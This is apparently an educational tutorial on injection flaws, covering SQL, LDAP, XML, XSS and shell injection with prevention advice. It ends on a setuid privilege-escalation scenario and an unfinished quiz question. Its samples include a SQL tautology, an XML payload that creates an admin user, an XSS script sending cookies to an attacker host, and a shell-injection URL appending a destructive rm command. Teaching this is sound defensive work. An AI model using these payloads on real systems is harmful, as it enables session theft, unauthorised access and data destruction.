Injection flaws allow attackers to relay malicious code through an application to another system.
Any application that allows execution of external commands such as system calls, shell commands, and SQL requests is susceptible to an Injection Attack.
Command Injection is a type of attack where the attacker's goal is to execute arbitrary commands on the host OS via a vulnerable application.
For example, exploiting a buffer overflow vulnerability that spawns a shell to execute arbitrary OS commands is an example of Command Injection.
This is different from Code Injection where the attacker sends input with the goal of exploiting the syntax of the targetted interpretter, without the necessity of executing OS commands.
Most web applications injection vulnerabilities are code injection vulnerabilities.
Code Injection, though, often leads to Command Injection.
In fact, many types of attacks, including SQL injection, have command injection
as an end primary goal to gaining control of the server.
Essentially command injection often stems from code injection, but it doesn't always have to.
See Demos for examples of code injection, code injection leading to command injection, and command injection that does not stem from code injection.
SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database.
Consider an example of a sign in form, where a user provides their username and password to login. The sql query used by the application might look something like this:
SELECT Users.Username
FROM Users
WHERE Users.Username = 'Username'
AND Users.Password = 'Password'
where Username and Password is retrieved from user input.
Access is granted if the query returns any rows. However, if an attacker enters a valid Username and injects some 'valid' code ("password' OR '1'='1") in the Password field, then the resulting query will look something like this:
SELECT Users.Username
FROM Users
WHERE Users.Username = 'Username'
AND Users.Password = 'password' OR '1'='1'
"'1'='1'" will always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
SQL injection can be completely prevented by using prepared statements properly. That is, the application would ideally prepare a query with placeholder parameters and send it in the database to generate a query tree. Then at execution time, the user supplied parameters replace the placeholder paremeters in the query tree. This way, the sql query can not be misinterpreted.
Example of using prepared statements in PHP
Alternatively, one can whitelist (only allow certain characters) or blacklist (disallow characters that could alter a query) user input to prevent sql injection. Note that whitelisting is better than blacklisting, and using prepared statements is an even more secure option.
LDAP stands for Lightweight Directory Access Protocol.
It is a hierachical database used to store organizational information such as student data and credentials.
Services like Microsoft Active Directory & openLDAP are common implementation of the LDAP protocol.
Applications that use the LDAP protocol typically accept a filter specified from user input to search in the LDAP database.
LDAP injection is similar to SQL injection in that an attacker tries to exploit the syntax of an LDAP query.
For example, consider the following java snippet that prints out the ldap query constructed by the application using user input $userName:
String ldapSearchQuery = "(cn=" + $userName + ")";
System.out.println(ldapSearchQuery);
If the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:
Similar to prevention of SQL injection, one can prevent LDAP injection via a whitelisting (only allowing alphabets and letters for example) or a blacklisting approach (disallowing characters like "|", "(", ")", "&", etc which are common in LDAP syntax).
XML injection happens when the user input exploits the xml parser to change the execution of an application.
Consider the example below, where we have a simple form submission to a web application:
http://www.example.com/addUser.php?username=tony&password=asd123&email=user@email.com
Suppose the server side code parses the above GET request and generates the following xml node to be inserted in an xml document:
<user>
<username>tony</username>
<password>asd123</password>
<mail>user@email.com</mail>
</user>
http://www.example.com/addUser.php?username=tony&password=asd123&email=s4tan@hell.com</mail></user><user><username>anthony</username><password>qwerty</password><admin>true</admin><mail>hacker@email.com
<user>
<username>tony</username>
<password>asd123</password>
<mail>user@email.com</mail>
</user>
<user>
<username>anthony</username>
<password>qwerty</password>
<admin>true</admin>
<mail>hacker@email.com</mail>
</user>
A common mechanism for checking XML for attempted injection is to validate it using a schema (a type of whitelisting approach).
For example, see https://www.securecoding.cert.org/confluence/display/java/IDS16-J.+Prevent+XML+Injection
Cross-Site Scripting, or "XSS" refers to an injection flaw where unchecked user input (typically javascript code) is placed onto a web page
For example, A web server has a guestbook script, which accepts messages from user such as:good site!If the script is vulnerable to XSS, malicious users can inject html and javascript code such as:
Nice site, I think I'll take it. <script>document.location="http://attackersite.com/cookie.cgi?" + document.cookie</script>
When another user views the guestbook page, the code injected by the attacker will be executed on the user's browser - allowing the attacker to impersonate another user
Essentially, sanitize and ideally whitelist all input going into the server as well as coming out of the server.
Shell Injection is often referred to as command injection as it allows for shell commands to be injected in the OS.
Note however, that this type of injection occurs when the attacker exploits the shell interpreter, which by our definitions, is code injection. So, Shell Injection is really an example of Code Injection leading to Command injection!
Essentially, if an application uses an underlying program along with some user input to complete some functionality, then an attacker may be able to inject shell commands by exploting the shell interpreter.
For example, consider the following php code which reads the file identified by the filename specified by a user:
www.mysite.com/viewcontent.php?filename=my_great_content.txt;rm-fr /
Once again, sanitizing user input is the key to preventing most code injections exploits, including shell injection.
At minimum, the application should strip out characters that could exploit the syntax of the shell interpreter.
Applications could also use filters available by the programming languages for the purposes of sanitizing data. For example, PHP has functions like excapeshellarg and escapeshellcmd which could be used as filters on user input.
The best approach, however, is to carefully white-list and sanitize input data.
Suppose you, as a hacker, have an account on the system with normal user permission.
You would like to be able to inject arbitrary OS commands as root - more specifically, say you want to print out the contents of /etc/shadow file
You try cat /etc/shadow but you get permission denied! what do you do?
Suppose you discovered that there is a program /vulnerable/account that is a setuid program (i.e the program runs as root), and you also have access to the source code /vulnerable/account.c
Upon investigation of the source code, you realize that the account program calls the external cat binary to display a user's balance.
Now you have all you need to make an exploit that will let you inject arbitrary OS Commands, without exploiting any code injection vulnerabilities! How so?
Shell Injection is an example of: